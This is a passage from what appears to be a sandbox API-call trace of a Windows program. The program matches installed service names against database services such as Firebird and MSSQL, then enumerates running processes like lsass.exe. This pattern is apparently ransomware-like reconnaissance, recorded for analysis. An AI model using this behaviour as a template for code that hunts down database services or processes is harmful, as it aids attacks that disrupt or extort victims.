(lpString1="mssqlserver", lpString2="EventLog") returned 1 [0195.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0195.765] lstrlenW (lpString="EventSystem") returned 11 [0195.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0195.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0195.765] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0195.765] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0195.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0195.765] lstrlenW (lpString="FontCache") returned 9 [0195.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0195.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0195.766] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0195.766] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0195.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0195.766] lstrlenW (lpString="gpsvc") returned 5 [0195.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0195.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0195.766] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0195.766] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0195.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0195.766] lstrlenW (lpString="iphlpsvc") returned 8 [0195.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.766] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0195.766] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0195.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0195.766] lstrlenW (lpString="KeyIso") returned 6 [0195.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0195.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0195.766] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0195.766] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0195.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0195.766] lstrlenW (lpString="LanmanServer") returned 12 [0195.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0195.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0195.766] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0195.766] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0195.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0195.767] lstrlenW (lpString="LanmanWorkstation") returned 17 [0195.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0195.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0195.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0195.767] lstrlenW (lpString="lfsvc") returned 5 [0195.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0195.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0195.767] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0195.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0195.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0195.767] lstrlenW (lpString="lmhosts") returned 7 [0195.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0195.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0195.767] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0195.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0195.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0195.767] lstrlenW (lpString="LSM") returned 3 [0195.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0195.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0195.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0195.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0195.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0195.767] lstrlenW (lpString="MpsSvc") returned 6 [0195.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0195.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0195.768] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0195.768] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0195.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0195.768] lstrlenW (lpString="NcbService") returned 10 [0195.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0195.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0195.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0195.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0195.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0195.768] lstrlenW (lpString="netprofm") returned 8 [0195.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0195.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0195.768] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0195.768] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0195.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0195.768] lstrlenW (lpString="NgcSvc") returned 6 [0195.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0195.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0195.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0195.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0195.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0195.768] lstrlenW (lpString="NlaSvc") returned 6 [0195.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0195.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0195.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0195.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0195.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0195.769] lstrlenW (lpString="nsi") returned 3 [0195.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0195.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0195.769] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0195.769] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0195.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0195.769] lstrlenW (lpString="PcaSvc") returned 6 [0195.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0195.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0195.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0195.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0195.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0195.769] lstrlenW (lpString="PlugPlay") returned 8 [0195.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0195.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0195.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0195.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0195.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0195.769] lstrlenW (lpString="Power") returned 5 [0195.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0195.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0195.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0195.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0195.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0195.769] lstrlenW (lpString="ProfSvc") returned 7 [0195.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0195.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0195.770] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0195.770] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0195.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0195.770] lstrlenW (lpString="RpcEptMapper") returned 12 [0195.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.770] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0195.770] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0195.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0195.770] lstrlenW (lpString="RpcSs") returned 5 [0195.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0195.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0195.770] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0195.770] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0195.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0195.770] lstrlenW (lpString="SamSs") returned 5 [0195.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0195.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0195.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0195.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0195.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0195.770] lstrlenW (lpString="Schedule") returned 8 [0195.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0195.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0195.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0195.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0195.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0195.771] lstrlenW (lpString="SecurityHealthService") returned 21 [0195.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0195.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0195.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0195.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0195.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0195.771] lstrlenW (lpString="SENS") returned 4 [0195.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0195.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0195.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0195.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0195.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0195.771] lstrlenW (lpString="ShellHWDetection") returned 16 [0195.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.771] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0195.771] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0195.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0195.771] lstrlenW (lpString="Spooler") returned 7 [0195.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0195.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0195.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0195.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0195.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0195.771] lstrlenW (lpString="StateRepository") returned 15 [0195.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0195.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0195.771] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0195.771] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0195.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0195.772] lstrlenW (lpString="SysMain") returned 7 [0195.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0195.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0195.772] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0195.772] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0195.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0195.772] lstrlenW (lpString="SystemEventsBroker") returned 18 [0195.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0195.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0195.772] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0195.772] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0195.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0195.772] lstrlenW (lpString="Themes") returned 6 [0195.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0195.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0195.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0195.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0195.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0195.772] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0195.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0195.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0195.772] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0195.772] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0195.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f00098 | out: hHeap=0x660000) returned 1 [0195.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0195.778] Process32FirstW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.778] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0195.779] lstrlenW (lpString="System") returned 6 [0195.779] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0195.779] lstrlenW (lpString="smss.exe") returned 8 [0195.779] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.780] lstrlenW (lpString="csrss.exe") returned 9 [0195.780] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0195.780] lstrlenW (lpString="wininit.exe") returned 11 [0195.780] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.781] lstrlenW (lpString="csrss.exe") returned 9 [0195.781] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0195.781] lstrlenW (lpString="winlogon.exe") returned 12 [0195.781] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0195.782] lstrlenW (lpString="services.exe") returned 12 [0195.782] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0196.028] lstrlenW (lpString="lsass.exe") returned 9 [0196.029] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0196.029] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0196.029] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0196.030] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0196.030] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.030] lstrlenW (lpString="svchost.exe") returned 11 [0196.030] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.030] lstrlenW (lpString="svchost.exe") returned 11 [0196.030] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0196.031] lstrlenW (lpString="dwm.exe") returned 7 [0196.031] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.031] lstrlenW (lpString="svchost.exe") returned 11 [0196.031] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.032] lstrlenW (lpString="svchost.exe") returned 11 [0196.032] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.033] lstrlenW (lpString="svchost.exe") returned 11 [0196.033] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.033] lstrlenW (lpString="svchost.exe") returned 11 [0196.033] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.034] lstrlenW (lpString="svchost.exe") returned 11 [0196.034] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.034] lstrlenW (lpString="svchost.exe") returned 11 [0196.034] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.035] lstrlenW (lpString="svchost.exe") returned 11 [0196.035] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.035] lstrlenW (lpString="svchost.exe") returned 11 [0196.035] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.036] lstrlenW (lpString="svchost.exe") returned 11 [0196.036] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.036] lstrlenW (lpString="svchost.exe") returned 11 [0196.036] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0196.036] lstrlenW (lpString="spoolsv.exe") returned 11 [0196.036] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.037] lstrlenW (lpString="svchost.exe") returned 11 [0196.037] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0196.037] lstrlenW (lpString="audiodg.exe") returned 11 [0196.037] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0196.038] lstrlenW (lpString="sihost.exe") returned 10 [0196.038] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.038] lstrlenW (lpString="svchost.exe") returned 11 [0196.038] Process32NextW (in: hSnapshot=0x36c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, 